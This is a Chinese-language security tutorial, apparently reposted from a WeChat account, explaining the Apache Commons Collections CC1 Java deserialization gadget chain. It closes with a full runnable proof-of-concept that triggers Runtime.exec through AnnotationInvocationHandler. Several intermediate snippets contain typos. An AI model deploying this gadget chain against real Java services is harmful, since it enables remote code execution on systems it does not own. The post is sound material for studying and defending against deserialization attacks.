java反序列化

admin 2024年2月17日19:48:28评论13 views字数 6310阅读21分2秒阅读模式

java反序列化

CC1

入口是Transformer接口的transform方法

【表哥有话说 第107期】java反序列化

transform方法被21个类实现了,入口类是InvokerTransformer

【表哥有话说 第107期】java反序列化

InvokerTransformer类里面调用了transform方法,这个方法对传入对象object,会用反射调用此对象的指定的方法。

InvokerTransformer的构造方法

【表哥有话说 第107期】java反序列化

这里可以看到,需要传入方法,参数类型,对象。

【表哥有话说 第107期】java反序列化

可以看到:transform方法中传入的object调用构造InvokerTransformer时传入的方法。

所以可以这样写:

Runtime r = Runtime.getRuntime();

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

可以看到是可以执行的

【表哥有话说 第107期】java反序列化

下面就需要去寻找什么地方调用了transform方法,

我们找到了TransformMap类,这里的checkSetValue方法调用了transform方法

【表哥有话说 第107期】java反序列化

我们先看TransformMap

【表哥有话说 第107期】java反序列化

它的构造方法是一个protect,只能在类的内部调用,所以我们接着看

【表哥有话说 第107期】java反序列化

decorate实例化了TransformedMap类

那么哪里调用了checkSetValue方法呢

只有一个

【表哥有话说 第107期】java反序列化

发现是AbstractInputCheckedMapDecorator类中的setValue方法调用,而且AbstractInputCheckMapDecorator类是TransformedMap类的父类

Runtime r = Runtime.getRuntime();
InvorkerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{Stirng.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
map.put("aaa","bbb");
Map<Object,Object> transformedmap = TransformedMap(map,null,invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()){
    entry.setValue(r);
}

这里就是,要调用setValue()方法,AbstractInputCheckMapDecorator类是TransformedMap类的父类,双亲委派机制,会调用父类的setValue,运行的时候parent=TransformMap(idea调出来的),然后进入TransformedMap类的checkValue方法,而checkValue方法会返回valueTransformer.transform()。这里的valueTransform我们在实例化TransformedMap类的时候我们传入的是invokerTransform,所以就调用了invokerTransform.tranform(r)。r作为object value 一直没变,传递下来

【表哥有话说 第107期】java反序列化

也是成功的

所以我们下面需要知道哪里调用了setValue类

接着就找到了类AnnotationInvocationHandler,这个里面既有readObject重写,又在readObject中调用了setValue方法

【表哥有话说 第107期】java反序列化

我们先看AnnotationInvocationHandler类

【表哥有话说 第107期】java反序列化

可以发现:它没有public,需要反射来获取这个类,

而这个类的构造方法:

需要一个类继承了Annotation注释类,传一个注释

一个Map对象

反射这样写:

Class c = Class.forname("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedmap)

处理Runtime类不可被序列化

由于Runtime类是不可序列化的,但是Class类可以,可以反射调用

动态类加载

Invokertransformer就可以,它的参数都是可控的,而且Invokertransformer是可以序列化的,所以可以利用Invokertransformer和反射调用Runtime类:

Method Runmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,class.class},new Object[]{getRuntime,null}).transform(Runtime.class);

调用Invokertransformer方法的构造函数,传入的第一个参数是要调用的方法,第二个参数是调用的方法需要的参数类型,第三个参数代表参数的具体值,所以这段的意思是Runmethod = Runtime.class.getDeclaredMethod("getRuntime",null);

Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(Runmethod);

r = Runmethod.invoke

Method execmethod = (Method)new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class.class},new Object[]{"exec",String[].class}).transform(Runtime.class);

execmethod = Runtime.class.getDeclaredMethod("exec");

new InvokerTransformer("invoke",new Class[]{String.class},new Object[]{"exec"}).transform(r);

这样就会造成一个问题:

我们原本在transformedmap里面需要传入一个invokertransform对象,现在对象没有了,变成了上面的四段代码

我们看transform的接口ChainedTransformer中

【表哥有话说 第107期】java反序列化

可以看到 ChainedTransformer会对传入的数组进行递归调用transform方法,那么我们让这个数组的元素是invokertransformer就可以了

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime".null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mshta vbscript:msgbox("恭喜你成功完成CC1! ",64,"Congratulation! ")(Window.close)"});
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);
}

而我们需要的是需要提前写入transform(Runtime.class)

这里有ConstantTransformer类:

【表哥有话说 第107期】java反序列化

这里就是不管我们传入transoform中什么,如果我们的constantToReturn传入什么,transform就返回什么,我们传入Runtime.class,就返回Runtime.class

所以:

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox("恭喜你成功完成CC1!",64,"Congratulations!")(window.close)"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

下面就只需要绕过AnnotationInocationHandler中的两个判断就可以执行setValue来接到我们的链子了

【表哥有话说 第107期】java反序列化

第一个判断是memberType !=null,

这里的name=map的里面的键值对的键名

而memberType=memberTypes的和map键值对键名同名的方法

我们跟进memberTypes

【表哥有话说 第107期】java反序列化

可以看到memberTypes取决于type

跟进type

【表哥有话说 第107期】java反序列化

可以看到type是我们初始化时传入的注释

所以

而我们可以看到注释中

只有Target注释中有value属性

【表哥有话说 第107期】java反序列化

override中没有属性

【表哥有话说 第107期】java反序列化

所以我们需要对map中传入的键名修改为value

这样memberType就不为空了

【表哥有话说 第107期】java反序列化

而这里我们可以看到

两个if都成功调用,这样我们的链子就连起来了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox("恭喜你成功完成CC1!",64,"Congratulations!")(window.close)"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationconstructor.setAccessible(true);
Object o = annotationconstructor.newInstance(Target.class, transformedmap);

serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

原文始发于微信公众号(SKSEC):【表哥有话说 第107期】java反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月17日19:48:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java反序列化http://cn-sec.com/archives/2499061.html

发表评论

匿名网友 填写信息